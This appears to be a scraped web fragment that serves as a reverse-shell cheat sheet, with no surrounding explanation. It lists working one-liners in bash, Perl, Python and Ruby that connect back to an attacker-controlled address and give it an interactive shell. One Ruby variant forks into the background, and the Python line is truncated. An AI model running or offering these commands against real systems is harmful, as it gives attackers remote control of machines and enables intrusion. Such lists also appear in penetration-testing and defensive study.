<br />bash -i >& /dev/tcp/10.0.0.1/8080 0>&1<br />
<br />perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'<br />
<br />python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.cal<br />
<br />ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'<br />或<br />ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'<br /><br />